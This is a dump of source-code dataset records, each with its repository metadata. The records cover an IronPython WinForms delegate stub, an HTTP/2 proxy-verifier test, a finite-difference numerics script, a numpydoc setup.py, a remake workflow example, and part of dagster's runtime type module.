b1f7c580de48528490b3ee5791b04898be95a9ae

[ "MIT" ]

null

class TableLayoutCellPaintEventHandler(MulticastDelegate, ICloneable, ISerializable): """ Represents the method that will handle the System.Windows.Forms.TableLayoutPanel.CellPaint event. TableLayoutCellPaintEventHandler(object: object,method: IntPtr) """ def BeginInvoke(self, sender, e, callback, object): """ BeginInvoke(self: TableLayoutCellPaintEventHandler,sender: object,e: TableLayoutCellPaintEventArgs,callback: AsyncCallback,object: object) -> IAsyncResult """ pass def CombineImpl(self, *args): """ CombineImpl(self: MulticastDelegate,follow: Delegate) -> Delegate Combines this System.Delegate with the specified System.Delegate to form a new delegate. follow: The delegate to combine with this delegate. Returns: A delegate that is the new root of the System.MulticastDelegate invocation list. """ pass def DynamicInvokeImpl(self, *args): """ DynamicInvokeImpl(self: Delegate,args: Array[object]) -> object Dynamically invokes (late-bound) the method represented by the current delegate. args: An array of objects that are the arguments to pass to the method represented by the current delegate.-or- null,if the method represented by the current delegate does not require arguments. Returns: The object returned by the method represented by the delegate. """ pass def EndInvoke(self, result): """ EndInvoke(self: TableLayoutCellPaintEventHandler,result: IAsyncResult) """ pass def GetMethodImpl(self, *args): """ GetMethodImpl(self: MulticastDelegate) -> MethodInfo Returns a static method represented by the current System.MulticastDelegate. Returns: A static method represented by the current System.MulticastDelegate. """ pass def Invoke(self, sender, e): """ Invoke(self: TableLayoutCellPaintEventHandler,sender: object,e: TableLayoutCellPaintEventArgs) """ pass def RemoveImpl(self, *args): """ RemoveImpl(self: MulticastDelegate,value: Delegate) -> Delegate Removes an element from the invocation list of this System.MulticastDelegate that is equal to the specified delegate. value: The delegate to search for in the invocation list. Returns: If value is found in the invocation list for this instance,then a new System.Delegate without value in its invocation list; otherwise,this instance with its original invocation list. """ pass def __init__(self, *args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass @staticmethod def __new__(self, object, method): """ __new__(cls: type,object: object,method: IntPtr) """ pass def __reduce_ex__(self, *args): pass

29.409524

221

0.680376

class TableLayoutCellPaintEventHandler(MulticastDelegate, ICloneable, ISerializable): def BeginInvoke(self, sender, e, callback, object): pass def CombineImpl(self, *args): pass def DynamicInvokeImpl(self, *args): pass def EndInvoke(self, result): pass def GetMethodImpl(self, *args): pass def Invoke(self, sender, e): pass def RemoveImpl(self, *args): pass def __init__(self, *args): pass @staticmethod def __new__(self, object, method): pass def __reduce_ex__(self, *args): pass

true

f73283aa4b808065d101ef22fa6cf7432a504266

1,531

py

Python

test/autests/gold_tests/http2/http2.test.py

dragon512/proxy-verifier

d48d680bb5a2540af3c2cdc2968a4c1bef7546e1

[ "Apache-2.0" ]

null

test/autests/gold_tests/http2/http2.test.py

dragon512/proxy-verifier

d48d680bb5a2540af3c2cdc2968a4c1bef7546e1

[ "Apache-2.0" ]

null

test/autests/gold_tests/http2/http2.test.py

dragon512/proxy-verifier

d48d680bb5a2540af3c2cdc2968a4c1bef7546e1

[ "Apache-2.0" ]

null

''' Verify basic HTTP/2 functionality. ''' # @file # # Copyright 2020, Verizon Media # SPDX-License-Identifier: Apache-2.0 # Test.Summary = ''' Verify basic HTTP/2 functionality. ''' # # Test 1: Verify correct behavior of a single HTTP/2 transaction. # r = Test.AddTestRun("Verify HTTP/2 processing of a single HTTP transaction") client = r.AddClientProcess("client1", "replay_files/single_transaction", https_ports=[4443], other_args="--verbose diag") server = r.AddServerProcess("server1", "replay_files/single_transaction", https_ports=[4444], other_args="--verbose diag") proxy = r.AddProxyProcess("proxy1", listen_port=4443, server_port=4444, use_ssl=True, use_http2_to_1=True) if Condition.IsPlatform("darwin"): proxy.Streams.stdout = "gold/single_transaction_proxy.gold_macos" client.Streams.stdout = "gold/single_transaction_client.gold_macos" server.Streams.stdout = "gold/single_transaction_server.gold_macos" else: proxy.Streams.stdout = "gold/single_transaction_proxy.gold" client.Streams.stdout = "gold/single_transaction_client.gold" server.Streams.stdout = "gold/single_transaction_server.gold" client.Streams.stdout += Testers.ExcludesExpression( "Violation:", "There should be no verification errors because there are none added.") server.Streams.stdout += Testers.ExcludesExpression( "Violation:", "There should be no verification errors because there are none added.")

37.341463

79

0.713912

Test.Summary = ''' Verify basic HTTP/2 functionality. ''' r = Test.AddTestRun("Verify HTTP/2 processing of a single HTTP transaction") client = r.AddClientProcess("client1", "replay_files/single_transaction", https_ports=[4443], other_args="--verbose diag") server = r.AddServerProcess("server1", "replay_files/single_transaction", https_ports=[4444], other_args="--verbose diag") proxy = r.AddProxyProcess("proxy1", listen_port=4443, server_port=4444, use_ssl=True, use_http2_to_1=True) if Condition.IsPlatform("darwin"): proxy.Streams.stdout = "gold/single_transaction_proxy.gold_macos" client.Streams.stdout = "gold/single_transaction_client.gold_macos" server.Streams.stdout = "gold/single_transaction_server.gold_macos" else: proxy.Streams.stdout = "gold/single_transaction_proxy.gold" client.Streams.stdout = "gold/single_transaction_client.gold" server.Streams.stdout = "gold/single_transaction_server.gold" client.Streams.stdout += Testers.ExcludesExpression( "Violation:", "There should be no verification errors because there are none added.") server.Streams.stdout += Testers.ExcludesExpression( "Violation:", "There should be no verification errors because there are none added.")

true

f73284f572868ccb38a791c5403e5082b6b22e6b

1,386

py

Python

17abriledp.py

mecanimatico/codigo_edp

42080a4eb0f604873f9743ff0d0b8afde0735181

[ "MIT" ]

null

17abriledp.py

mecanimatico/codigo_edp

42080a4eb0f604873f9743ff0d0b8afde0735181

[ "MIT" ]

null

17abriledp.py

mecanimatico/codigo_edp

42080a4eb0f604873f9743ff0d0b8afde0735181

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Created on Fri Apr 17 09:57:12 2020 @author: Heber """ import numpy as np import pandas as pd import os import matplotlib.pyplot as plt #%% valor exacto d ela derivada up = np.cos(1.0) h = 0.1 up_aprox = (np.sin(1+h)-np.sin(1))/h error = up - up_aprox print ("Valor aproximado: ",up_aprox) print ("Valor del error: ",error) #%%----------------------------- # muestra list = [0.1, 0.01, 0.001, 0.0001, 0.00001] aprox_values = [] errores_values = [] # aproximacion a la segunda derivada errores_values2 = [] aprox_values2 = [] for h in list: aux = (np.sin(1+h) - np.sin(1))/h aprox_values.append(aux) errores_values.append(up - aux) # print(h, up_aprox,error) # formula de segundo orden aux_2 = (np.sin(1+h)-np.sin(1-h))/(2*h) aprox_values2.append(aux_2) errores_values2.append(up - aux_2) plt.loglog(list,errores_values,'o-',list,errores_values2,'o-') plt.grid(True) #%%--------------------- import numpy as np import pandas as pd import matplotlib.pyplot as plt list = [0.1, 0.01, 0.001, 0.0001] valor_exacto = 6*np.exp(1.0) valor_aprox = [] valor_error = [] for h in list: aux = (np.exp((1+h)**2)-2*np.exp(1.0) + np.exp((1-h)**2))/h**2 valor_aprox.append(aux) aux2 = abs(valor_exacto - aux) valor_error.append(aux2) plt.grid(True) plt.loglog(list,valor_error,'o-') #list,valor_aprox, 'o-'

21.323077

66

0.626984

import numpy as np import pandas as pd import os import matplotlib.pyplot as plt up = np.cos(1.0) h = 0.1 up_aprox = (np.sin(1+h)-np.sin(1))/h error = up - up_aprox print ("Valor aproximado: ",up_aprox) print ("Valor del error: ",error) list = [0.1, 0.01, 0.001, 0.0001, 0.00001] aprox_values = [] errores_values = [] errores_values2 = [] aprox_values2 = [] for h in list: aux = (np.sin(1+h) - np.sin(1))/h aprox_values.append(aux) errores_values.append(up - aux) aux_2 = (np.sin(1+h)-np.sin(1-h))/(2*h) aprox_values2.append(aux_2) errores_values2.append(up - aux_2) plt.loglog(list,errores_values,'o-',list,errores_values2,'o-') plt.grid(True) import numpy as np import pandas as pd import matplotlib.pyplot as plt list = [0.1, 0.01, 0.001, 0.0001] valor_exacto = 6*np.exp(1.0) valor_aprox = [] valor_error = [] for h in list: aux = (np.exp((1+h)**2)-2*np.exp(1.0) + np.exp((1-h)**2))/h**2 valor_aprox.append(aux) aux2 = abs(valor_exacto - aux) valor_error.append(aux2) plt.grid(True) plt.loglog(list,valor_error,'o-')

true

f73287eee23516b86d7a58a9027c13d6bae3f980

993

py

Python

doc/sphinxext/setup.py

celiafish/scikit-xray

660a37821d58544b6443c5b8cd9c96daef577ed2

[ "BSD-3-Clause" ]

71

2016-01-04T22:32:27.000Z

2022-03-25T07:57:54.000Z

doc/sphinxext/setup.py

celiafish/scikit-xray

660a37821d58544b6443c5b8cd9c96daef577ed2

[ "BSD-3-Clause" ]

288

2015-12-09T23:40:31.000Z

2021-02-02T00:32:00.000Z

doc/sphinxext/setup.py

celiafish/scikit-xray

660a37821d58544b6443c5b8cd9c96daef577ed2

[ "BSD-3-Clause" ]

53

2015-12-10T14:35:17.000Z

2021-06-24T13:36:00.000Z

from distutils.core import setup import setuptools import sys import os version = "0.3.dev" setup( name="numpydoc", packages=["numpydoc"], package_dir={"numpydoc": ""}, version=version, description="Sphinx extension to support docstrings in Numpy format", # classifiers from http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=["Development Status :: 3 - Alpha", "Environment :: Plugins", "License :: OSI Approved :: BSD License", "Topic :: Documentation"], keywords="sphinx numpy", author="Pauli Virtanen and others", author_email="pav@iki.fi", url="http://projects.scipy.org/numpy/browser/trunk/doc/sphinxext", license="BSD", zip_safe=False, install_requires=["Sphinx >= 0.5"], package_data={'numpydoc': 'tests', '': ''}, entry_points={ "console_scripts": [ "autosummary_generate = numpydoc.autosummary_generate:main", ], }, )

30.090909

77

0.629406

from distutils.core import setup import setuptools import sys import os version = "0.3.dev" setup( name="numpydoc", packages=["numpydoc"], package_dir={"numpydoc": ""}, version=version, description="Sphinx extension to support docstrings in Numpy format", classifiers=["Development Status :: 3 - Alpha", "Environment :: Plugins", "License :: OSI Approved :: BSD License", "Topic :: Documentation"], keywords="sphinx numpy", author="Pauli Virtanen and others", author_email="pav@iki.fi", url="http://projects.scipy.org/numpy/browser/trunk/doc/sphinxext", license="BSD", zip_safe=False, install_requires=["Sphinx >= 0.5"], package_data={'numpydoc': 'tests', '': ''}, entry_points={ "console_scripts": [ "autosummary_generate = numpydoc.autosummary_generate:main", ], }, )

true

f73289685bd37aa689ba66d97e917694c4fc2fa7

1,147

py

Python

remake/examples/ex8.py

markmuetz/remake

a3c5098be57b60b01ffaa4a7fcb937f9337dcdea

[ "Apache-2.0" ]

null

remake/examples/ex8.py

markmuetz/remake

a3c5098be57b60b01ffaa4a7fcb937f9337dcdea

[ "Apache-2.0" ]

35

2020-12-22T11:36:46.000Z

2021-12-03T15:49:41.000Z

remake/examples/ex8.py

markmuetz/remake

a3c5098be57b60b01ffaa4a7fcb937f9337dcdea

[ "Apache-2.0" ]

null

"""Demonstrates partial run when some input data not there. """ from remake import Remake, TaskRule ex8 = Remake() class CannotRun(TaskRule): rule_inputs = {'in1': 'data/inputs/input_not_there.txt'} rule_outputs = {'out': 'data/inputs/ex8_in1.txt'} def rule_run(self): input_text = self.inputs['in1'].read_text() self.outputs['out'].write_text(input_text + '\n') class CanRun1(TaskRule): rule_inputs = CannotRun.rule_outputs rule_outputs = {'out1': 'data/outputs/ex8/out1.txt', 'out2': 'data/outputs/ex8/out2.txt'} def rule_run(self): for o in self.outputs.values(): o.write_text('out') class CanRun2(TaskRule): rule_inputs = {'in': 'data/outputs/ex8/out{i}.txt'} rule_outputs = {'out1': 'data/outputs/ex8/out2.{i}.txt'} var_matrix = {'i': [1, 2]} def rule_run(self): assert len(self.inputs) == len(self.outputs) for i, o in zip(self.inputs.values(), self.outputs.values()): o.write_text('\n'.join([f'f1 {line}' for line in i.read_text().split('\n')[:-1]]) + '\n') if __name__ == '__main__': ex8.finalize()

28.675

101

0.617262

from remake import Remake, TaskRule ex8 = Remake() class CannotRun(TaskRule): rule_inputs = {'in1': 'data/inputs/input_not_there.txt'} rule_outputs = {'out': 'data/inputs/ex8_in1.txt'} def rule_run(self): input_text = self.inputs['in1'].read_text() self.outputs['out'].write_text(input_text + '\n') class CanRun1(TaskRule): rule_inputs = CannotRun.rule_outputs rule_outputs = {'out1': 'data/outputs/ex8/out1.txt', 'out2': 'data/outputs/ex8/out2.txt'} def rule_run(self): for o in self.outputs.values(): o.write_text('out') class CanRun2(TaskRule): rule_inputs = {'in': 'data/outputs/ex8/out{i}.txt'} rule_outputs = {'out1': 'data/outputs/ex8/out2.{i}.txt'} var_matrix = {'i': [1, 2]} def rule_run(self): assert len(self.inputs) == len(self.outputs) for i, o in zip(self.inputs.values(), self.outputs.values()): o.write_text('\n'.join([f'f1 {line}' for line in i.read_text().split('\n')[:-1]]) + '\n') if __name__ == '__main__': ex8.finalize()

true

f73289beadbbd779b42062ae2dd20756a3a1975e

18,377

py

Python

python_modules/dagster/dagster/core/types/runtime.py

cclauss/dagster

6494edbfd52526812aadf941bf90edf3ade1d912

[ "Apache-2.0" ]

1

2019-07-15T17:34:04.000Z

python_modules/dagster/dagster/core/types/runtime.py

stevencasey/dagster

1881f67f55725c40432dbc1ed99b8cfbd9629600

[ "Apache-2.0" ]

null

python_modules/dagster/dagster/core/types/runtime.py

stevencasey/dagster

1881f67f55725c40432dbc1ed99b8cfbd9629600

[ "Apache-2.0" ]

null

from functools import partial import six from dagster import check from dagster.core.storage.type_storage import TypeStoragePlugin from .builtin_enum import BuiltinEnum from .builtin_config_schemas import BuiltinSchemas from .config import ConfigType from .config import List as ConfigList from .config import Nullable as ConfigNullable from .config_schema import InputHydrationConfig, OutputMaterializationConfig from .marshal import SerializationStrategy, PickleSerializationStrategy from .dagster_type import check_dagster_type_param from .wrapping import WrappingListType, WrappingNullableType def check_opt_config_cls_param(config_cls, param_name): if config_cls is None: return config_cls check.invariant(isinstance(config_cls, type)) check.param_invariant(issubclass(config_cls, ConfigType), param_name) return config_cls class RuntimeType(object): ''' The class backing DagsterTypes as they are used during execution. ''' def __init__( self, key, name, is_builtin=False, description=None, input_hydration_config=None, output_materialization_config=None, serialization_strategy=None, auto_plugins=None, ): type_obj = type(self) if type_obj in RuntimeType.__cache: check.failed( ( '{type_obj} already in cache. You **must** use the inst() class method ' 'to construct RuntimeType and not the ctor'.format(type_obj=type_obj) ) ) self.key = check.str_param(key, 'key') self.name = check.opt_str_param(name, 'name') self.description = check.opt_str_param(description, 'description') self.input_hydration_config = check.opt_inst_param( input_hydration_config, 'input_hydration_config', InputHydrationConfig ) self.output_materialization_config = check.opt_inst_param( output_materialization_config, 'output_materialization_config', OutputMaterializationConfig, ) self.serialization_strategy = check.opt_inst_param( serialization_strategy, 'serialization_strategy', SerializationStrategy, PickleSerializationStrategy(), ) auto_plugins = check.opt_list_param(auto_plugins, 'auto_plugins', of_type=type) check.param_invariant( all( issubclass(auto_plugin_type, TypeStoragePlugin) for auto_plugin_type in auto_plugins ), 'auto_plugins', ) self.auto_plugins = auto_plugins self.is_builtin = check.bool_param(is_builtin, 'is_builtin') __cache = {} @classmethod def inst(cls): if cls not in RuntimeType.__cache: RuntimeType.__cache[cls] = cls() # pylint: disable=E1120 return RuntimeType.__cache[cls] @staticmethod def from_builtin_enum(builtin_enum): check.invariant(BuiltinEnum.contains(builtin_enum), 'must be member of BuiltinEnum') return _RUNTIME_MAP[builtin_enum] @property def display_name(self): return self.name def type_check(self, value): pass @property def is_any(self): return False @property def is_scalar(self): return False @property def is_list(self): return False @property def is_nullable(self): return False @property def inner_types(self): return [] @property def is_nothing(self): return False class BuiltinScalarRuntimeType(RuntimeType): def __init__(self, *args, **kwargs): name = type(self).__name__ super(BuiltinScalarRuntimeType, self).__init__( key=name, name=name, is_builtin=True, *args, **kwargs ) @property def is_scalar(self): return True class Int(BuiltinScalarRuntimeType): def __init__(self): super(Int, self).__init__( input_hydration_config=BuiltinSchemas.INT_INPUT, output_materialization_config=BuiltinSchemas.INT_OUTPUT, ) def type_check(self, value): from dagster.core.definitions.events import Failure if not isinstance(value, six.integer_types): raise Failure(_typemismatch_error_str(value, 'int')) def _typemismatch_error_str(value, expected_type_desc): return 'Value "{value}" of python type "{python_type}" must be a {type_desc}.'.format( value=value, python_type=type(value).__name__, type_desc=expected_type_desc ) def _throw_if_not_string(value): from dagster.core.definitions.events import Failure if not isinstance(value, six.string_types): raise Failure(_typemismatch_error_str(value, 'string')) class String(BuiltinScalarRuntimeType): def __init__(self): super(String, self).__init__( input_hydration_config=BuiltinSchemas.STRING_INPUT, output_materialization_config=BuiltinSchemas.STRING_OUTPUT, ) def type_check(self, value): _throw_if_not_string(value) class Path(BuiltinScalarRuntimeType): def __init__(self): super(Path, self).__init__( input_hydration_config=BuiltinSchemas.PATH_INPUT, output_materialization_config=BuiltinSchemas.PATH_OUTPUT, ) def type_check(self, value): _throw_if_not_string(value) class Float(BuiltinScalarRuntimeType): def __init__(self): super(Float, self).__init__( input_hydration_config=BuiltinSchemas.FLOAT_INPUT, output_materialization_config=BuiltinSchemas.FLOAT_OUTPUT, ) def type_check(self, value): from dagster.core.definitions.events import Failure if not isinstance(value, float): raise Failure(_typemismatch_error_str(value, 'float')) class Bool(BuiltinScalarRuntimeType): def __init__(self): super(Bool, self).__init__( input_hydration_config=BuiltinSchemas.BOOL_INPUT, output_materialization_config=BuiltinSchemas.BOOL_OUTPUT, ) def type_check(self, value): from dagster.core.definitions.events import Failure if not isinstance(value, bool): raise Failure(_typemismatch_error_str(value, 'bool')) class Anyish(RuntimeType): def __init__( self, key, name, input_hydration_config=None, output_materialization_config=None, is_builtin=False, description=None, ): super(Anyish, self).__init__( key=key, name=name, input_hydration_config=input_hydration_config, output_materialization_config=output_materialization_config, is_builtin=is_builtin, description=description, ) @property def is_any(self): return True class Any(Anyish): def __init__(self): super(Any, self).__init__( key='Any', name='Any', input_hydration_config=BuiltinSchemas.ANY_INPUT, output_materialization_config=BuiltinSchemas.ANY_OUTPUT, is_builtin=True, ) def define_any_type(name, description=None): class NamedAnyType(Anyish): def __init__(self): super(NamedAnyType, self).__init__(key=name, name=name, description=description) return NamedAnyType class Nothing(RuntimeType): def __init__(self): super(Nothing, self).__init__( key='Nothing', name='Nothing', input_hydration_config=None, output_materialization_config=None, is_builtin=True, ) @property def is_nothing(self): return True def type_check(self, value): from dagster.core.definitions.events import Failure if value is not None: raise Failure('Value {value} must be None.') class PythonObjectType(RuntimeType): def __init__(self, python_type, key=None, name=None, typecheck_metadata_fn=None, **kwargs): name = check.opt_str_param(name, 'name', type(self).__name__) key = check.opt_str_param(key, 'key', name) super(PythonObjectType, self).__init__(key=key, name=name, **kwargs) self.python_type = check.type_param(python_type, 'python_type') self.typecheck_metadata_fn = check.opt_callable_param( typecheck_metadata_fn, 'typecheck_metadata_fn' ) def type_check(self, value): from dagster.core.definitions.events import Failure if not isinstance(value, self.python_type): raise Failure( 'Value {value} should be of type {type_name}.'.format( value=value, type_name=self.python_type.__name__ ) ) if self.typecheck_metadata_fn: return self.typecheck_metadata_fn(value) def define_python_dagster_type( python_type, name=None, description=None, input_hydration_config=None, output_materialization_config=None, serialization_strategy=None, auto_plugins=None, typecheck_metadata_fn=None, ): ''' The dagster typesystem is very flexible, and the body of a typecheck can be a function that does *anything*. (For that level of flexiblity one should inherit from RuntimeType directly) However its very common to want to generate a dagster type whose only typecheck is against a python type: DateTime = define_python_dagster_type(datetime.datetime, name='DateTime') Args: python_type (cls) The python type you want check against. name (Optional[str]): Name of the dagster type. Defaults to the name of the python_type. description (Optiona[str]): input_hydration_config (Optional[InputHydrationConfig]): An instance of a class that inherits from :py:class:`InputHydrationConfig` that can map config data to a value of this type. output_materialization_config (Optiona[OutputMaterializationConfig]): An instance of a class that inherits from :py:class:`OutputMaterializationConfig` that can map config data to persisting values of this type. serialization_strategy (Optional[SerializationStrategy]): The default behavior for how to serialize this value for persisting between execution steps. auto_plugins (Optional[List[type]]): types *must* subclass from TypeStoragePlugin. This allows for types to specify serialization that depends on what storage is being used to serialize intermediates. In these cases the serialization_strategy is not sufficient because serialization requires specialized API calls, e.g. to call an s3 API directly instead of using a generic file object. See dagster_pyspark.DataFrame for an example of auto_plugins. typecheck_metadata_fn (Callable): It is used to emit metadata when you successfully check a type. This allows the user specifiy that function that emits that metadata object whenever the typecheck succeeds. The passed in function takes the value being evaluated and returns a TypeCheck event. See dagster_pandas.DataFrame for an example ''' check.type_param(python_type, 'python_type') check.opt_str_param(name, 'name') check.opt_str_param(description, 'description') check.opt_inst_param(input_hydration_config, 'input_hydration_config', InputHydrationConfig) check.opt_inst_param( output_materialization_config, 'output_materialization_config', OutputMaterializationConfig ) check.opt_inst_param( serialization_strategy, 'serialization_strategy', SerializationStrategy, default=PickleSerializationStrategy(), ) auto_plugins = check.opt_list_param(auto_plugins, 'auto_plugins', of_type=type) check.param_invariant( all(issubclass(auto_plugin_type, TypeStoragePlugin) for auto_plugin_type in auto_plugins), 'auto_plugins', ) check.opt_callable_param(typecheck_metadata_fn, 'typecheck_metadata_fn') class _ObjectType(PythonObjectType): def __init__(self): super(_ObjectType, self).__init__( python_type=python_type, name=name, description=description, input_hydration_config=input_hydration_config, output_materialization_config=output_materialization_config, serialization_strategy=serialization_strategy, auto_plugins=auto_plugins, typecheck_metadata_fn=typecheck_metadata_fn, ) return _ObjectType def _create_nullable_input_schema(inner_type): if not inner_type.input_hydration_config: return None nullable_type = ConfigNullable(inner_type.input_hydration_config.schema_type).inst() class _NullableSchema(InputHydrationConfig): @property def schema_type(self): return nullable_type def construct_from_config_value(self, context, config_value): if config_value is None: return None return inner_type.input_hydration_config.construct_from_config_value( context, config_value ) return _NullableSchema() class NullableType(RuntimeType): def __init__(self, inner_type): key = 'Optional.' + inner_type.key super(NullableType, self).__init__( key=key, name=None, input_hydration_config=_create_nullable_input_schema(inner_type) ) self.inner_type = inner_type @property def display_name(self): return self.inner_type.display_name + '?' def type_check(self, value): return None if value is None else self.inner_type.type_check(value) @property def is_nullable(self): return True @property def inner_types(self): return [self.inner_type] + self.inner_type.inner_types def _create_list_input_schema(inner_type): if not inner_type.input_hydration_config: return None list_type = ConfigList(inner_type.input_hydration_config.schema_type).inst() class _ListSchema(InputHydrationConfig): @property def schema_type(self): return list_type def construct_from_config_value(self, context, config_value): convert_item = partial( inner_type.input_hydration_config.construct_from_config_value, context ) return list(map(convert_item, config_value)) return _ListSchema() class ListType(RuntimeType): def __init__(self, inner_type): key = 'List.' + inner_type.key super(ListType, self).__init__( key=key, name=None, input_hydration_config=_create_list_input_schema(inner_type) ) self.inner_type = inner_type @property def display_name(self): return '[' + self.inner_type.display_name + ']' def type_check(self, value): from dagster.core.definitions.events import Failure if not isinstance(value, list): raise Failure('Value must be a list, got {value}'.format(value=value)) for item in value: self.inner_type.type_check(item) @property def is_list(self): return True @property def inner_types(self): return [self.inner_type] + self.inner_type.inner_types def Optional(inner_type): check.inst_param(inner_type, 'inner_type', RuntimeType) class _Nullable(NullableType): def __init__(self): super(_Nullable, self).__init__(inner_type) return _Nullable.inst() def List(inner_type): check.inst_param(inner_type, 'inner_type', RuntimeType) class _List(ListType): def __init__(self): super(_List, self).__init__(inner_type) return _List.inst() class Stringish(RuntimeType): def __init__(self, key=None, name=None, **kwargs): name = check.opt_str_param(name, 'name', type(self).__name__) key = check.opt_str_param(key, 'key', name) super(Stringish, self).__init__(key=key, name=name, **kwargs) def is_scalar(self): return True def type_check(self, value): return _throw_if_not_string(value) _RUNTIME_MAP = { BuiltinEnum.ANY: Any.inst(), BuiltinEnum.BOOL: Bool.inst(), BuiltinEnum.FLOAT: Float.inst(), BuiltinEnum.INT: Int.inst(), BuiltinEnum.PATH: Path.inst(), BuiltinEnum.STRING: String.inst(), BuiltinEnum.NOTHING: Nothing.inst(), } def resolve_to_runtime_type(dagster_type): # circular dep from .decorator import is_runtime_type_decorated_klass, get_runtime_type_on_decorated_klass from .mapping import remap_python_type dagster_type = remap_python_type(dagster_type) check_dagster_type_param(dagster_type, 'dagster_type', RuntimeType) if dagster_type is None: return Any.inst() if BuiltinEnum.contains(dagster_type): return RuntimeType.from_builtin_enum(dagster_type) if isinstance(dagster_type, WrappingListType): return resolve_to_runtime_list(dagster_type) if isinstance(dagster_type, WrappingNullableType): return resolve_to_runtime_nullable(dagster_type) if is_runtime_type_decorated_klass(dagster_type): return get_runtime_type_on_decorated_klass(dagster_type) if issubclass(dagster_type, RuntimeType): return dagster_type.inst() check.failed('should not reach') def resolve_to_runtime_list(list_type): check.inst_param(list_type, 'list_type', WrappingListType) return List(resolve_to_runtime_type(list_type.inner_type)) def resolve_to_runtime_nullable(nullable_type): check.inst_param(nullable_type, 'nullable_type', WrappingNullableType) return Optional(resolve_to_runtime_type(nullable_type.inner_type)) ALL_RUNTIME_BUILTINS = set(_RUNTIME_MAP.values()) def construct_runtime_type_dictionary(solid_defs): type_dict = {t.name: t for t in ALL_RUNTIME_BUILTINS} for solid_def in solid_defs: for runtime_type in solid_def.all_runtime_types(): type_dict[runtime_type.name] = runtime_type return type_dict

31.467466

100

0.681885

from functools import partial import six from dagster import check from dagster.core.storage.type_storage import TypeStoragePlugin from .builtin_enum import BuiltinEnum from .builtin_config_schemas import BuiltinSchemas from .config import ConfigType from .config import List as ConfigList from .config import Nullable as ConfigNullable from .config_schema import InputHydrationConfig, OutputMaterializationConfig from .marshal import SerializationStrategy, PickleSerializationStrategy from .dagster_type import check_dagster_type_param from .wrapping import WrappingListType, WrappingNullableType def check_opt_config_cls_param(config_cls, param_name): if config_cls is None: return config_cls check.invariant(isinstance(config_cls, type)) check.param_invariant(issubclass(config_cls, ConfigType), param_name) return config_cls class RuntimeType(object): def __init__( self, key, name, is_builtin=False, description=None, input_hydration_config=None, output_materialization_config=None, serialization_strategy=None, auto_plugins=None, ): type_obj = type(self) if type_obj in RuntimeType.__cache: check.failed( ( '{type_obj} already in cache. You **must** use the inst() class method ' 'to construct RuntimeType and not the ctor'.format(type_obj=type_obj) ) ) self.key = check.str_param(key, 'key') self.name = check.opt_str_param(name, 'name') self.description = check.opt_str_param(description, 'description') self.input_hydration_config = check.opt_inst_param( input_hydration_config, 'input_hydration_config', InputHydrationConfig ) self.output_materialization_config = check.opt_inst_param( output_materialization_config, 'output_materialization_config', OutputMaterializationConfig, ) self.serialization_strategy = check.opt_inst_param( serialization_strategy, 'serialization_strategy', SerializationStrategy, PickleSerializationStrategy(), ) auto_plugins = check.opt_list_param(auto_plugins, 'auto_plugins', of_type=type) check.param_invariant( all( issubclass(auto_plugin_type, TypeStoragePlugin) for auto_plugin_type in auto_plugins ), 'auto_plugins', ) self.auto_plugins = auto_plugins self.is_builtin = check.bool_param(is_builtin, 'is_builtin') __cache = {} @classmethod def inst(cls): if cls not in RuntimeType.__cache: RuntimeType.__cache[cls] = cls() return RuntimeType.__cache[cls] @staticmethod def from_builtin_enum(builtin_enum): check.invariant(BuiltinEnum.contains(builtin_enum), 'must be member of BuiltinEnum') return _RUNTIME_MAP[builtin_enum] @property def display_name(self): return self.name def type_check(self, value): pass @property def is_any(self): return False @property def is_scalar(self): return False @property def is_list(self): return False @property def is_nullable(self): return False @property def inner_types(self): return [] @property def is_nothing(self): return False class BuiltinScalarRuntimeType(RuntimeType): def __init__(self, *args, **kwargs): name = type(self).__name__ super(BuiltinScalarRuntimeType, self).__init__( key=name, name=name, is_builtin=True, *args, **kwargs ) @property def is_scalar(self): return True class Int(BuiltinScalarRuntimeType): def __init__(self): super(Int, self).__init__( input_hydration_config=BuiltinSchemas.INT_INPUT, output_materialization_config=BuiltinSchemas.INT_OUTPUT, ) def type_check(self, value): from dagster.core.definitions.events import Failure if not isinstance(value, six.integer_types): raise Failure(_typemismatch_error_str(value, 'int')) def _typemismatch_error_str(value, expected_type_desc): return 'Value "{value}" of python type "{python_type}" must be a {type_desc}.'.format( value=value, python_type=type(value).__name__, type_desc=expected_type_desc ) def _throw_if_not_string(value): from dagster.core.definitions.events import Failure if not isinstance(value, six.string_types): raise Failure(_typemismatch_error_str(value, 'string')) class String(BuiltinScalarRuntimeType): def __init__(self): super(String, self).__init__( input_hydration_config=BuiltinSchemas.STRING_INPUT, output_materialization_config=BuiltinSchemas.STRING_OUTPUT, ) def type_check(self, value): _throw_if_not_string(value) class Path(BuiltinScalarRuntimeType): def __init__(self): super(Path, self).__init__( input_hydration_config=BuiltinSchemas.PATH_INPUT, output_materialization_config=BuiltinSchemas.PATH_OUTPUT, ) def type_check(self, value): _throw_if_not_string(value) class Float(BuiltinScalarRuntimeType): def __init__(self): super(Float, self).__init__( input_hydration_config=BuiltinSchemas.FLOAT_INPUT, output_materialization_config=BuiltinSchemas.FLOAT_OUTPUT, ) def type_check(self, value): from dagster.core.definitions.events import Failure if not isinstance(value, float): raise Failure(_typemismatch_error_str(value, 'float')) class Bool(BuiltinScalarRuntimeType): def __init__(self): super(Bool, self).__init__( input_hydration_config=BuiltinSchemas.BOOL_INPUT, output_materialization_config=BuiltinSchemas.BOOL_OUTPUT, ) def type_check(self, value): from dagster.core.definitions.events import Failure if not isinstance(value, bool): raise Failure(_typemismatch_error_str(value, 'bool')) class Anyish(RuntimeType): def __init__( self, key, name, input_hydration_config=None, output_materialization_config=None, is_builtin=False, description=None, ): super(Anyish, self).__init__( key=key, name=name, input_hydration_config=input_hydration_config, output_materialization_config=output_materialization_config, is_builtin=is_builtin, description=description, ) @property def is_any(self): return True class Any(Anyish): def __init__(self): super(Any, self).__init__( key='Any', name='Any', input_hydration_config=BuiltinSchemas.ANY_INPUT, output_materialization_config=BuiltinSchemas.ANY_OUTPUT, is_builtin=True, ) def define_any_type(name, description=None): class NamedAnyType(Anyish): def __init__(self): super(NamedAnyType, self).__init__(key=name, name=name, description=description) return NamedAnyType class Nothing(RuntimeType): def __init__(self): super(Nothing, self).__init__( key='Nothing', name='Nothing', input_hydration_config=None, output_materialization_config=None, is_builtin=True, ) @property def is_nothing(self): return True def type_check(self, value): from dagster.core.definitions.events import 